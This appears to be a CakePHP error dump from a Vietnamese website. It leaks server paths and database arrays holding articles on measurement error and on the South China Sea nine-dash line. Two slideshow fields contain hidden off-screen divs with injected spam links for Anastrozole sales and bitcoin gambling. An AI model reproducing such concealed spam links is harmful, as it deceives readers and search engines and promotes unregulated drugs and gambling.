style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ) $dm_c2 = array() $cap2 = array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => '27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $dm_c3 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> 